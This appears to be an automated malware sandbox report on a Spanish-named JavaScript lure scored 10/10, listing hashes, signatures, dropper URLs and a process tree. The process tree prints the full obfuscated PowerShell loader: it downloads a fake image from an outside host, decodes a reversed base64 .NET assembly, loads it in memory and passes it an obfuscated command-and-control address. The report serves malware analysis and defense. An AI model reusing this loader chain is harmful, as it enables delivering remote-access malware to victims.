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Overview

overview

10

Static

static

1

PORTAFOLIO...ROS.js

windows10-2004-x64

10

Resubmissions

22/01/2025, 16:06

250122-tkatcavpfl 10

22/01/2025, 12:23

250122-pkfx5swlgx 10

Analysis

  • max time kernel
    12s
  • max time network
    19s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/01/2025, 16:06

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Report Analysis Logs

General

  • Target

    PORTAFOLIO DE TRANSACCIÓN REALIZADA A TERCEROS.js

  • Size

    164KB

  • MD5

    730bef083fbd8b608106a9c34c98cdc1

  • SHA1

    4c8d3440733b2975d1c9a823df735cd11a3351a7

  • SHA256

    37c427cb456a7fadc42fdcca721a2e24c7f6a43892870b6683bf4bf83ba4f52c

  • SHA512

    1a4638ccc02d2774377a114c99fa3bf1e2e6790ae6c4c3ef35dc4d7ee146e4201f51c765d49c2ee3ecff3cef7f79ccdd1937bf479c3380da9e6b8276384e477c

  • SSDEEP

    1536:OWa831+p9/3zJ7WkAZexE7EnhqOWxK4YEYL734izQ6VzYfA75CKPd6BBPWa4pmGu:OWr31O9rtWKXVueEG7LzQ6VYAln2

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20
exe.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\PORTAFOLIO DE TRANSACCIÓN REALIZADA A TERCEROS.js"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:376
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.saalF/selif/971.611.021.78//:p##h';$restoredText = $originalText -replace '#', 't';$fbPZicdpPLnNokLpLUUk = 'https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg ';$TuqGZoLcamOGIZZbRqKW = New-Object System.Net.WebClient;$WmpcoGKttRcdWLlKWOap = $TuqGZoLcamOGIZZbRqKW.DownloadData($fbPZicdpPLnNokLpLUUk);$cmNLWWGRiiJekGiZcLuk = [System.Text.Encoding]::UTF8.GetString($WmpcoGKttRcdWLlKWOap);$fpWRJWOTLKpKHbtnhiWW = '<<BASE64_START>>';$LUsnnSLKZLWRGHpeWhGj = '<<BASE64_END>>';$eChubkKfbGczPWskKNoL = $cmNLWWGRiiJekGiZcLuk.IndexOf($fpWRJWOTLKpKHbtnhiWW);$nKGLnWLPShqiGxnKZAnW = $cmNLWWGRiiJekGiZcLuk.IndexOf($LUsnnSLKZLWRGHpeWhGj);$eChubkKfbGczPWskKNoL -ge 0 -and $nKGLnWLPShqiGxnKZAnW -gt $eChubkKfbGczPWskKNoL;$eChubkKfbGczPWskKNoL += $fpWRJWOTLKpKHbtnhiWW.Length;$WWLsUZLpUcPmPGCLevKv = $nKGLnWLPShqiGxnKZAnW - $eChubkKfbGczPWskKNoL;$UlvqpiOWbKKZSWNeqbio = $cmNLWWGRiiJekGiZcLuk.Substring($eChubkKfbGczPWskKNoL, $WWLsUZLpUcPmPGCLevKv);$TdLuWlUmfWiLJdmqLLUO = -join ($UlvqpiOWbKKZSWNeqbio.ToCharArray() | ForEach-Object { $_ })[-1..-($UlvqpiOWbKKZSWNeqbio.Length)];$BiikSJUeSKARkKpcNKQW = [System.Convert]::FromBase64String($TdLuWlUmfWiLJdmqLLUO);$LBtKfieNpLWkpLoIoToG = [System.Reflection.Assembly]::Load($BiikSJUeSKARkKpcNKQW);$UcUKdWGZiocUWLqWcobb = [dnlib.IO.Home].GetMethod('VAI');$UcUKdWGZiocUWLqWcobb.Invoke($null, @($restoredText, 'dSbCbiJheWuWALuLWWam', 'dSbCbiJheWuWALuLWWam', 'dSbCbiJheWuWALuLWWam', 'aspnet_regbrowsers', 'dSbCbiJheWuWALuLWWam', 'dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','1','dSbCbiJheWuWALuLWWam','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3432

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lnjocf4w.rnj.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/3432-6-0x00007FFBB4693000-0x00007FFBB4695000-memory.dmp

    Filesize

    8KB

    Download

  • memory/3432-16-0x000001BAE74A0000-0x000001BAE74C2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/3432-17-0x00007FFBB4690000-0x00007FFBB5151000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3432-18-0x00007FFBB4690000-0x00007FFBB5151000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3432-19-0x00007FFBB4693000-0x00007FFBB4695000-memory.dmp

    Filesize

    8KB

    Download

  • memory/3432-20-0x00007FFBB4690000-0x00007FFBB5151000-memory.dmp

    Filesize

    10.8MB

    Download